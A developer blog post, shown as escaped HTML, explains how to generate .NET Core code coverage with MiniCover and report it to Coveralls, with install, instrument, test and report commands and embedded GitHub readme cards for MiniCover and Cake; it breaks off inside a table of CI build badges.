    
&lt;div id="readme" class="md"&gt;
&lt;h1&gt;
MiniCover&lt;/h1&gt;
&lt;p&gt;Code Coverage Tool for .NET Core&lt;/p&gt;
&lt;p&gt;&lt;a href="https://dev.azure.com/lucaslorentzlara/lucaslorentzlara/_build/latest?definitionId=3&amp;amp;branchName=master" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/e6f959d672726fcf747df8ea81376f9f90c06a37/68747470733a2f2f6465762e617a7572652e636f6d2f6c756361736c6f72656e747a6c6172612f6c756361736c6f72656e747a6c6172612f5f617069732f6275696c642f7374617475732f6c756361736c6f72656e747a2e6d696e69636f7665723f6272616e63684e616d653d6d6173746572" alt="Build Status"&gt;&lt;/a&gt;
&lt;a href="https://www.nuget.org/packages/MiniCover/" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/ea6d81f996909768e03b939054532cf33a029cfb/68747470733a2f2f696d672e736869656c64732e696f2f6e756765742f762f6d696e69636f766572" alt="Nuget"&gt;&lt;/a&gt;
&lt;a href="https://coveralls.io/github/lucaslorentz/minicover?branch=master" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/3c00b8a2488164a371d0e898275ca8d52b295efd/68747470733a2f2f636f766572616c6c732e696f2f7265706f732f6769746875622f6c756361736c6f72656e747a2f6d696e69636f7665722f62616467652e7376673f6272616e63683d6d6173746572" alt="Coverage Status"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
Supported .NET Core SDKs&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2.1 (Global tool)&lt;/li&gt;
&lt;li&gt;2.2 (Global tool)&lt;/li&gt;
&lt;li&gt;3.0 (Global tool or local tool)&lt;/li&gt;
&lt;li&gt;3.1 (Global tool or local tool)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
Installation&lt;/h2&gt;
&lt;p&gt;MiniCover can be installed as a global tool:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dotnet tool install --global minicover
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or local tool:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dotnet tool install minicover
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;
Commands&lt;/h2&gt;
&lt;p&gt;This is a simplified documentation of MiniCover commands and options.&lt;/p&gt;
&lt;p&gt;Use &lt;code&gt;--help&lt;/code&gt; for more information:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;minicover --help
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;When installed as local tool, MiniCover commands must be prefixed with &lt;code&gt;dotnet&lt;/code&gt;.&lt;/strong&gt; Example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dotnet minicover --help
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;
Instrument&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;minicover instrument
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use this command to instrument assemblies to record code coverage.&lt;/p&gt;
&lt;p&gt;It is based on the following main options:&lt;/p&gt;
&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;option&lt;/th&gt;
&lt;th&gt;description&lt;/th&gt;
&lt;th&gt;type&lt;/th&gt;
&lt;th&gt;default&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;sources&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;source files to track coverage&lt;/td&gt;
&lt;td&gt;glob&lt;/td&gt;
&lt;td&gt;&lt;code&gt;src/**/*.cs&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;exclude-sources&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;exceptions to source option&lt;/td&gt;
&lt;td&gt;glob&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;**/bin/**/*.cs&lt;/code&gt; and &lt;code&gt;**/obj/**/*.cs&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;tests&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;test files used to recognize test methods&lt;/td&gt;
&lt;td&gt;glob&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;tests/**/*.cs&lt;/code&gt; and &lt;code&gt;test/**/*.cs&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;exclude-tests&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;exceptions to tests option&lt;/td&gt;
&lt;td&gt;glob&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;**/bin/**/*.cs&lt;/code&gt; and &lt;code&gt;**/obj/**/*.cs&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;assemblies&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;assemblies&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;…&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/lucaslorentz/minicover"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;All of the example code for this post is available on my GitHub profile: &lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vWogaON8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/github-logo-28d89282e0daa1e2496205e2f218a44c755b0dd6536bbadf5ed5a44a7ca54716.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/nlowe"&gt;
        nlowe
      &lt;/a&gt; / &lt;a href="https://github.com/nlowe/coveralls-netcore"&gt;
        coveralls-netcore
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      coveralls.io example for a dotnet core app
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;h1&gt;
Coveralls Netcore Sample&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://travis-ci.org/nlowe/coveralls-netcore" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/14f3f84bf069c3480984f033daa709b73ac9b1c4/68747470733a2f2f7472617669732d63692e6f72672f6e6c6f77652f636f766572616c6c732d6e6574636f72652e7376673f6272616e63683d6d6173746572" alt="Build Status"&gt;&lt;/a&gt; &lt;a href="https://coveralls.io/github/nlowe/coveralls-netcore?branch=master" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/3f24ffa19c57be204276d32de5021fdadf68f369/68747470733a2f2f636f766572616c6c732e696f2f7265706f732f6769746875622f6e6c6f77652f636f766572616c6c732d6e6574636f72652f62616467652e7376673f6272616e63683d6d6173746572" alt="Coverage Status"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Getting code coverage into &lt;a href="https://coveralls.io" rel="nofollow"&gt;coveralls.io&lt;/a&gt; from a travis build
of a dotnet core project.&lt;/p&gt;
&lt;p&gt;Coverage generated using &lt;a href="https://github.com/lucaslorentz/minicover"&gt;MiniCover&lt;/a&gt;
via &lt;a href="https://github.com/nlowe/Cake.MiniCover"&gt;Cake.MiniCover&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;



&lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/nlowe/coveralls-netcore"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;h2&gt;
  
  
  Using MiniCover
&lt;/h2&gt;

&lt;p&gt;MiniCover is distributed as a &lt;code&gt;dotnet&lt;/code&gt; cli tool. We either need to add it as a &lt;code&gt;DotNetCliToolReference&lt;/code&gt; to one of the top-level projects in the repo or as a dedicated tools project. I like to place the reference in &lt;code&gt;./minicover/minicover.csproj&lt;/code&gt; for reasons that will become clear soon:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- ./minicover/minicover.csproj --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;Project&lt;/span&gt; &lt;span class="na"&gt;Sdk=&lt;/span&gt;&lt;span class="s"&gt;"Microsoft.NET.Sdk"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;PropertyGroup&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;TargetFramework&amp;gt;&lt;/span&gt;netcoreapp2.0&lt;span class="nt"&gt;&amp;lt;/TargetFramework&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;IsPackable&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/IsPackable&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/PropertyGroup&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;ItemGroup&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;DotNetCliToolReference&lt;/span&gt; &lt;span class="na"&gt;Include=&lt;/span&gt;&lt;span class="s"&gt;"MiniCover"&lt;/span&gt; &lt;span class="na"&gt;Version=&lt;/span&gt;&lt;span class="s"&gt;"2.0.0-ci-20180517205544"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/ItemGroup&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;/Project&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Be sure to run &lt;code&gt;dotnet restore&lt;/code&gt; on this project.&lt;/p&gt;

&lt;p&gt;This is required until MiniCover is updated to support installation as a global tool (added in .NET Core 2.1): &lt;/p&gt;
&lt;div class="ltag_github-liquid-tag"&gt;
  &lt;h1&gt;
    &lt;a href="https://github.com/lucaslorentz/minicover/issues/90"&gt;
      &lt;img class="github-logo" alt="GitHub logo" src="https://res.cloudinary.com/practicaldev/image/fetch/s--vWogaON8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/github-logo-28d89282e0daa1e2496205e2f218a44c755b0dd6536bbadf5ed5a44a7ca54716.svg"&gt;
      &lt;span class="issue-title"&gt;
        Publish as .NET Core Global Tool
      &lt;/span&gt;
      &lt;span class="issue-number"&gt;#90&lt;/span&gt;
    &lt;/a&gt;
  &lt;/h1&gt;
  &lt;div class="github-thread"&gt;
    &lt;div class="timeline-comment-header"&gt;
      &lt;a href="https://github.com/snebjorn"&gt;
        &lt;img class="github-liquid-tag-img" src="https://res.cloudinary.com/practicaldev/image/fetch/s--VSffa_1b--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://avatars0.githubusercontent.com/u/1266245%3Fv%3D4" alt="snebjorn avatar"&gt;
      &lt;/a&gt;
      &lt;span class="arrow-left-outer"&gt;&lt;/span&gt;
      &lt;span class="arrow-left-inner"&gt;&lt;/span&gt;
      &lt;div class="timeline-comment-header-text"&gt;
        &lt;strong&gt;
          &lt;a href="https://github.com/snebjorn"&gt;snebjorn&lt;/a&gt;
        &lt;/strong&gt; posted on &lt;a href="https://github.com/lucaslorentz/minicover/issues/90"&gt;&lt;time&gt;Apr 23, 2018&lt;/time&gt;&lt;/a&gt;
      &lt;/div&gt;
    &lt;/div&gt;
    &lt;div class="ltag-github-body"&gt;
      &lt;p&gt;With the upcoming release of dotnet core 2.1 they're introducing global tools. It works like NPM global tools (npm install -g package)&lt;/p&gt;
&lt;p&gt;That would a nice alternative way to install MiniCover. So instead of having a tools project you can simply do &lt;code&gt;dotnet install tool -g minicover&lt;/code&gt;&lt;/p&gt;

    &lt;/div&gt;
    &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/lucaslorentz/minicover/issues/90"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Since it's still being actively developed, MiniCover is distributed as prerelease packages. Check the &lt;a href="https://www.nuget.org/packages/MiniCover/"&gt;nuget feed&lt;/a&gt; to get the latest version.&lt;/p&gt;

&lt;h3&gt;
  
  
  Generating Coverage
&lt;/h3&gt;

&lt;p&gt;We're ready to run our tests with coverage:&lt;/p&gt;

&lt;h4&gt;
  
  
  Build the project
&lt;/h4&gt;

&lt;p&gt;Newer versions of .NET Core include an implicit restore here. If you're using an old version of .NET Core be sure to do a &lt;code&gt;dotnet restore&lt;/code&gt; first.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;dotnet build
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Instrument the assemblies under test.
&lt;/h4&gt;

&lt;p&gt;This inserts IL instructions into your assemblies to write coverage to a results file:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;minicover
dotnet minicover instrument &lt;span class="nt"&gt;--workdir&lt;/span&gt; ../ &lt;span class="nt"&gt;--assemblies&lt;/span&gt; &lt;span class="nb"&gt;test&lt;/span&gt;/&lt;span class="k"&gt;**&lt;/span&gt;/bin/&lt;span class="k"&gt;**&lt;/span&gt;/&lt;span class="k"&gt;*&lt;/span&gt;.dll &lt;span class="nt"&gt;--sources&lt;/span&gt; src/&lt;span class="k"&gt;**&lt;/span&gt;/&lt;span class="k"&gt;*&lt;/span&gt;.cs
dotnet minocover reset
&lt;span class="nb"&gt;cd&lt;/span&gt; ..
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Run your tests:
&lt;/h4&gt;

&lt;p&gt;You have to tell &lt;code&gt;dotnet&lt;/code&gt; not to rebuild assemblies when running tests. Otherwise the instrumentation we just added will be overwritten and no coverage will be tracked.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;project &lt;span class="k"&gt;in &lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt;/&lt;span class="k"&gt;**&lt;/span&gt;/&lt;span class="k"&gt;*&lt;/span&gt;.csproj&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;dotnet &lt;span class="nb"&gt;test&lt;/span&gt; &lt;span class="nt"&gt;--no-build&lt;/span&gt; &lt;span class="nv"&gt;$project&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Generate Reports:
&lt;/h4&gt;

&lt;p&gt;MiniCover includes support for rendering many types of reports. The most basic type is a Console report with a fatal threshold. If coverage is below this threshold, it will exit with a non-zero exit code allowing you to fail the build if coverage is too low.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;minicover
dotnet minicover report &lt;span class="nt"&gt;--workdir&lt;/span&gt; ../ &lt;span class="nt"&gt;--threshold&lt;/span&gt; 90
&lt;span class="nb"&gt;cd&lt;/span&gt; ..
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Here's a sample of what this looks like (In a TTY that supports colors, files above the threshold will be green and files below the threshold will be red):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;+-------------------+-------+---------------+------------+
| File              | Lines | Covered Lines | Percentage |
+-------------------+-------+---------------+------------+
| src/MyLib/Math.cs |    2  |        1      |   50.000%  |
+-------------------+-------+---------------+------------+
| All files         |    2  |        1      |   50.000%  |
+-------------------+-------+---------------+------------+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Uninstrument Assemblies
&lt;/h4&gt;

&lt;p&gt;If you are planning on publishing artifacts for this build, be sure to uninstrument assemblies:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;minicover
dotnet minicover uninstrument &lt;span class="nt"&gt;--workdir&lt;/span&gt; ../
&lt;span class="nb"&gt;cd&lt;/span&gt; ..
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Simplify things with Cake
&lt;/h2&gt;

&lt;p&gt;While this is a great way to get code coverage results, it is a little tedious. For my .NET Projects, I prefer to use &lt;code&gt;cake&lt;/code&gt; to script the build process: &lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vWogaON8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/github-logo-28d89282e0daa1e2496205e2f218a44c755b0dd6536bbadf5ed5a44a7ca54716.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/cake-build"&gt;
        cake-build
      &lt;/a&gt; / &lt;a href="https://github.com/cake-build/cake"&gt;
        cake
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Cake (C# Make) is a cross platform build automation system.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;h1&gt;
Cake&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://www.nuget.org/packages/Cake" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/625070245809c2151ebf586ae3f9004dbf877168/68747470733a2f2f696d672e736869656c64732e696f2f6e756765742f762f43616b652e737667" alt="NuGet"&gt;&lt;/a&gt; &lt;a href="https://dev.azure.com/cake-build/Cake/_packaging?_a=package&amp;amp;feed=cake&amp;amp;package=Cake&amp;amp;protocolType=NuGet" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/12d680a82c2a5ccd468425782ed6b6f9edc1ba9e/68747470733a2f2f617a706b6773736869656c642e617a757265766f6f646f6f2e6e65742f63616b652d6275696c642f43616b652f63616b652f63616b65" alt="Azure Artifacts"&gt;&lt;/a&gt; &lt;a href="https://chocolatey.org/packages/cake.portable" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/bbb2882c8684ddf30a0052eed8bd752ec863fabd/68747470733a2f2f696d672e736869656c64732e696f2f63686f636f6c617465792f762f43616b652e706f727461626c652e737667" alt="Chocolatey"&gt;&lt;/a&gt;
&lt;a href="http://braumeister.org/formula/cake" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/cd0a7b7a4cec2cc8465a8a51ade52dc8db5b5624/68747470733a2f2f696d672e736869656c64732e696f2f686f6d65627265772f762f63616b652e737667" alt="homebrew"&gt;&lt;/a&gt;
&lt;a href="https://www.codetriage.com/cake-build/cake" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/bacb4ecd19acb40002988e186e11145771003c09/68747470733a2f2f7777772e636f64657472696167652e636f6d2f63616b652d6275696c642f63616b652f6261646765732f75736572732e737667" alt="Help Contribute to Open Source"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://sourcebrowser.io/Browse/cake-build/cake" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/54520255524a72a04b0b20191e804f1360f85ab2/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f42726f7773652d536f757263652d677265656e2e737667" alt="Source Browser"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Cake (C# Make) is a build automation system with a C# DSL to do things like compiling code, copy files/folders, running unit tests, compress files and build NuGet packages.&lt;/p&gt;
&lt;h2&gt;
Continuous integration&lt;/h2&gt;
&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Build server&lt;/th&gt;
&lt;th&gt;Platform&lt;/th&gt;
&lt;th&gt;Build status&lt;/th&gt;
&lt;th&gt;Integration tests&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Azure Pipelines&lt;/td&gt;
&lt;td&gt;MacOS&lt;/td&gt;
&lt;td&gt;&lt;a href="https://dev.azure.com/cake-build/Cake/_build/latest?definitionId=4" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/4172aab305b12f466b5467bb0e1566344558c51f/68747470733a2f2f6465762e617a7572652e636f6d2f63616b652d6275696c642f43616b652f5f617069732f6275696c642f7374617475732f417a757265253230506970656c696e65732532302d2532304275696c6425323043616b652532304d61633f266272616e63684e616d653d646576656c6f70" alt="Azure Pipelines Mac Build status"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azure Pipelines&lt;/td&gt;
&lt;td&gt;Windows&lt;/td&gt;
&lt;td&gt;&lt;a href="https://dev.azure.com/cake-build/Cake/_build/latest?definitionId=1" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/de2a1f5e945f7df08f56471fefb1b5b02d7c49de/68747470733a2f2f6465762e617a7572652e636f6d2f63616b652d6275696c642f43616b652f5f617069732f6275696c642f7374617475732f417a757265253230506970656c696e65732532302d2532304275696c6425323043616b6525323057696e646f77733f266272616e63684e616d653d646576656c6f70" alt="Azure Pipelines Windows Build status"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azure Pipelines&lt;/td&gt;
&lt;td&gt;Debian&lt;/td&gt;
&lt;td&gt;&lt;a href="https://dev.azure.com/cake-build/Cake/_build/latest?definitionId=7" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/80ae4407a45c5dd0b07086367bfcd2b40175f1e2/68747470733a2f2f6465762e617a7572652e636f6d2f63616b652d6275696c642f43616b652f5f617069732f6275696c642f7374617475732f417a757265253230506970656c696e65732532302d2532304275696c6425323043616b6525323044656269616e253230537472657463683f266272616e63684e616d653d646576656c6f70" alt="Azure Pipelines Debian Build status"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azure Pipelines&lt;/td&gt;
&lt;td&gt;Fedora&lt;/td&gt;
&lt;td&gt;&lt;a href="https://dev.azure.com/cake-build/Cake/_build/latest?definitionId=6" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/3be04a929f7d87033e34a72cbc3914347de5ff00/68747470733a2f2f6465762e617a7572652e636f6d2f63616b652d6275696c642f43616b652f5f617069732f6275696c642f7374617475732f417a757265253230506970656c696e65732532302d2532304275696c6425323043616b652532304665646f726125323032383f266272616e63684e616d653d646576656c6f70" alt="Azure Pipelines Fedora Build status"&gt;&lt;/a&gt;&lt;/td&gt;

&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azure Pipelines&lt;/td&gt;
&lt;td&gt;Centos&lt;/td&gt;
&lt;td&gt;&lt;a href="https://dev.azure.com/cake-build/Cake/_build/latest?definitionId=5" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/c252e8dcbe1937b6cc2306404834e00cfb4b8d5f/68747470733a2f2f6465762e617a7572652e636f6d2f63616b652d6275696c642f43616b652f5f617069732f6275696c642f7374617475732f417a757265253230506970656c696e65732532302d2532304275696c6425323043616b6525323043656e746f73253230373f266272616e63684e616d653d646576656c6f70" alt="Azure Pipelines Cake Centos status"&gt;&lt;/a&gt;&lt;/td&gt;

&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azure Pipelines&lt;/td&gt;
&lt;td&gt;Ubuntu&lt;/td&gt;
&lt;td&gt;&lt;a href="https://dev.azure.com/cake-build/Cake/_build/latest?definitionId=3" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/66ccaad89f6e0cab94479b81f848afdce79e9fe3/68747470733a2f2f6465762e617a7572652e636f6d2f63616b652d6275696c642f43616b652f5f617069732f6275696c642f7374617475732f417a757265253230506970656c696e65732532302d2532304275696c6425323043616b652532305562756e74753f266272616e63684e616d653d646576656c6f70" alt="Azure Pipelines Ubuntu Build status"&gt;&lt;/a&gt;&lt;/td&gt;

&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AppVeyor&lt;/td&gt;
&lt;td&gt;Windows&lt;/td&gt;
&lt;td&gt;&lt;a href="https://ci.appveyor.com/project/cakebuild/cake/branch/develop" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/6c93e7b01a6a9448399cb41a28df41b0ac8ec7e8/68747470733a2f2f696d672e736869656c64732e696f2f6170707665796f722f63692f63616b656275696c642f63616b652f646576656c6f702e737667" alt="AppVeyor branch"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://ci.appveyor.com/project/cakebuild/cake-eijwj" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/2c6989979b03bdecdde2b710fad8975f47a110e2/68747470733a2f2f696d672e736869656c64732e696f2f6170707665796f722f63692f63616b656275696c642f63616b652d65696a776a2f646576656c6f702e737667" alt="AppVeyor branch"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Travis&lt;/td&gt;
&lt;td&gt;Ubuntu / MacOS&lt;/td&gt;
&lt;td&gt;&lt;a href="https://travis-ci.org/cake-build/cake" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/3b6c2bd00c7783828237663a05bf67204a9dbc02/68747470733a2f2f7472617669732d63692e6f72672f63616b652d6275696c642f63616b652e7376673f6272616e63683d646576656c6f70" alt="Travis build status"&gt;&lt;/a&gt;&lt;/td&gt;

&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TeamCity&lt;/td&gt;
&lt;td&gt;Windows&lt;/td&gt;
&lt;td&gt;&lt;a href="http://teamcity.codebetter.com/viewType.html?buildTypeId=Cake_CakeMaster" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/6413ecbbdbc946022c7a321960216950dd3bc541/687474703a2f2f696d672e736869656c64732e696f2f7465616d636974792f636f64656265747465722f43616b655f43616b654d61737465722e737667" alt="TeamCity Build Status"&gt;&lt;/a&gt;&lt;/td&gt;

&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bitrise&lt;/td&gt;
&lt;td&gt;MacOS&lt;/td&gt;
&lt;td&gt;&lt;a href="https://app.bitrise.io/app/42eaef77e8db4a5c" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/388414e324a58e76d51ab64f5b6c39431112dcfc/68747470733a2f2f6170702e626974726973652e696f2f6170702f343265616566373765386462346135632f7374617475732e7376673f746f6b656e3d45446a48474b356e6a4e4a2d4d72685362764b4d3177266272616e63683d646576656c6f70" alt="Build Status"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/bdb72a036eb664fb9d846cdde9ae2fc4d99f84ad/68747470733a2f2f6170702e626974726973652e696f2f6170702f383034623433316331663237653061302f7374617475732e7376673f746f6b656e3d714b6f734845614a414a45717a5a6371347335575267266272616e63683d646576656c6f70"&gt;&lt;img src="https://camo.githubusercontent.com/bdb72a036eb664fb9d846cdde9ae2fc4d99f84ad/68747470733a2f2f6170702e626974726973652e696f2f6170702f383034623433316331663237653061302f7374617475732e7376673f746f6b656e3d714b6f734845614a414a45717a5a6371347335575267266272616e63683d646576656c6f70" alt="Build Status"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bitrise&lt;/td&gt;
&lt;td&gt;Debian&lt;/td&gt;
&lt;td&gt;&lt;a href="https://app.bitrise.io/app/ea0c6b3c61eb1e79" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/171556e31b6d782d47a4165cf0e8545eb8920c53/68747470733a2f2f6170702e626974726973652e696f2f6170702f656130633662336336316562316537392f7374617475732e7376673f746f6b656e3d4b4a714f57586c6c59587a3357597163423836315577266272616e63683d646576656c6f70" alt="Build Status"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/64e6f6c3c0337e374584a5e746131af44471864d/68747470733a2f2f6170702e626974726973652e696f2f6170702f356134303666333466323231313363362f7374617475732e7376673f746f6b656e3d54515062736d413979502d694a4f687a756e49503477266272616e63683d646576656c6f70"&gt;&lt;img src="https://camo.githubusercontent.com/64e6f6c3c0337e374584a5e746131af44471864d/68747470733a2f2f6170702e626974726973652e696f2f6170702f356134303666333466323231313363362f7374617475732e7376673f746f6b656e3d54515062736d413979502d694a4f687a756e49503477266272616e63683d646576656c6f70" alt="Build Status"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bitbucket Pipelines&lt;/td&gt;
